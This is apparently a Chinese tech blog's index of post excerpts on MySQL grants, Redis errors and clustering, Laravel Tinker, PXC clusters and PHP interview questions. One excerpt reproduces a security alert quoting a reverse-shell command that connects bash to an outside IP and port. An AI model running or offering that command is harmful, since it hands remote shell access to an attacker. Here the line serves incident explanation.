摘要:
1.创建用户,并授权SELECT查询权限,授权远程访问权限,注意,命令中username/password指用户名密码,请自己指定。若要限制仅指定IP可以使用此用户访问Mysql,将%改为具IP即可,dbname指定限制的数据库,如果是全部则改为*。 GRANT SELECT ON dbname.* 阅读全文
摘要:
今天下午来到北京百度科技园进行复试PHP工程师岗位。 面试官问了很多问题,我大概整理回忆下: 1.Redis秒杀实现? 2.服务器定时器实现,crontab 、crontab -e区别,死循环如何结束? 3.PHP如何运行shell脚本,配置文件在哪开启 4.获取HTTP头文件 5.Nginx负载均 阅读全文
摘要:
Percona XtraDB Cluster(下文简称PXC集群)提供了MySQL高可用的一种实现方法。集群是有节点组成的,推荐配置至少3个节点,但是也可以运行在2个节点上。 PXC原理描述: 一些名词介绍: PXC环境所涉及的端口: 1.有3个节点 2.防火墙设置 01关闭防火墙 02或开启防火墙 阅读全文
摘要:
一、Redis集群介绍 Redis真的是一个优秀的技术,它是一种key-value形式的NoSQL内存数据库,由ANSI C编写,遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 Redis最大的特性是它会将所有数据都放在内存中,所以读写速度 阅读全文
摘要:
redis连接错误System Error MISCONF Redis is configured to save RDB snapshots, but XX 情况1解决办法: 由于强制停止redis快照,不能持久化引起的。 在客户端输入 config set stop-writes-on-bgsa 阅读全文
摘要:
进程异常行为-反弹Shell攻击 父进程名称:bash 进程名称:bash 进程名称:/usr/bin/bash 进程id:23,077 命令行参数:sh -c /bin/bash -i >& /dev/tcp/27.255.72.119/4451 0>&1 说明:黑客利用远程代码执行漏洞或者恶意木 阅读全文
摘要:
Laravel中我们可以登录到服务器通过 Tinker 手动创建后台用户 laravel中tinker命令的作用是用来调试laravel,可以打印变量或对象信息,显示函数代码,对数据库写入和查询数据。输入help可以查看帮助信息。 tinker命令的启动方式为php artisan tinker,运 阅读全文
摘要:
Laravel5.x运行迁移命令创建数据表:php artisan migrate报错。 Illuminate\Database\QueryException : SQLSTATE[42000]: Syntax error or access violation: 1071 Specified ke 阅读全文
摘要:
报错1:PHP Fatal error: Allowed memory size of XXXXXX bytes exhausted 。
报错2:PHP Parse error: syntax error, unexpected T_CLASS, expecting T_STRING or T_VARIABLE or '$' in XXXXXX。
报错3:PHP Warning: require(XXXX/autoload.php) : failed to open stream: Nosuch file or directory in XXXX。 阅读全文
摘要:
大型网站,比如门户网站,在面对大量用户访问、高并发请求方面带来的问题1大并发:在同一个时间点,有大量的客户来访问我们的网站,如果访问量过大,就可能造成网站瘫痪。2大流量:当网站大后,有大量的图片,视频, 这样就会对流量要求高,需要更多更大的带宽。3大存储:你的数据量会成海量的数据,如果我们的数据放入 阅读全文